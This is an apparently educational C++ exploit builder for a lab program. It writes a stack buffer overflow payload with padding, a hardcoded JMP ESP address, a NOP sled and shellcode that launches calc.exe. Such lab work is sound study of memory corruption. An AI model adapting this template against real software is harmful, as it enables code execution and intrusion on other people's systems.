exploit.cpp

/*
 * Builds "payload.bin" for the companion vulnerable.cpp program.
 * Payload layout:  [76B padding] + [JMP ESP addr] + [16B NOP sled] + [shellcode]
 * The shellcode is BENIGN: it simply launches the Windows Calculator (calc.exe),
 * the standard harmless proof-of-concept for exploit demonstrations.
 *
 * The offset (76) and JMP ESP address were found manually in Immunity Debugger.
 * Works ONLY in a controlled x86 lab with DEP/ASLR/stack-canaries disabled.
 * For lab/study use only — never against systems you do not own.
 */
#include <fstream>
#include <cstring>

int main() {

    const int OFFSET = 76;

    // change value of jmp esp (little endian)
    // 75883A6A
    unsigned char JMP_ESP[] = {
        0x6a, 0x3a, 0x88, 0x75
    };

    unsigned char SHELLCODE[] = {
        0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x31,0xdb,0x64,0x8b,0x7b,0x30,
        0x8b,0x7f,0x0c,0x8b,0x7f,0x1c,0x8b,0x47,0x08,0x8b,0x77,0x20,0x8b,
        0x3f,0x80,0x7e,0x0c,0x33,0x75,0xf2,0x89,0xc7,0x03,0x78,0x3c,0x8b,
        0x57,0x78,0x01,0xc2,0x8b,0x7a,0x20,0x01,0xc7,0x89,0xdd,0x8b,0x34,
        0xaf,0x01,0xc6,0x45,0x81,0x3e,0x43,0x72,0x65,0x61,0x75,0xf2,0x81,
        0x7e,0x08,0x6f,0x63,0x65,0x73,0x75,0xe9,0x8b,0x7a,0x24,0x01,0xc7,
        0x66,0x8b,0x2c,0x6f,0x8b,0x7a,0x1c,0x01,0xc7,0x8b,0x7c,0xaf,0xfc,
        0x01,0xc7,0x89,0xd9,0xb1,0xff,0x53,0xe2,0xfd,0x68,0x63,0x61,0x6c,
        0x63,0x89,0xe2,0x52,0x52,0x53,0x53,0x53,0x53,0x53,0x53,0x52,0x53,
        0xff,0xd7
    };

    unsigned char payload[600];
    int i = 0;

    // Padding
    memset(payload, 'A', OFFSET);
    i += OFFSET;

    // JMP ESP
    memcpy(payload + i, JMP_ESP, sizeof(JMP_ESP));
    i += sizeof(JMP_ESP);

    // NOP sled
    memset(payload + i, 0x90, 16);
    i += 16;

    // Shellcode
    memcpy(payload + i, SHELLCODE, sizeof(SHELLCODE));
    i += sizeof(SHELLCODE);

    // Write payload to file
    std::ofstream file("payload.bin", std::ios::binary);
    file.write((char*)payload, i);
    file.close();

    return 0;
}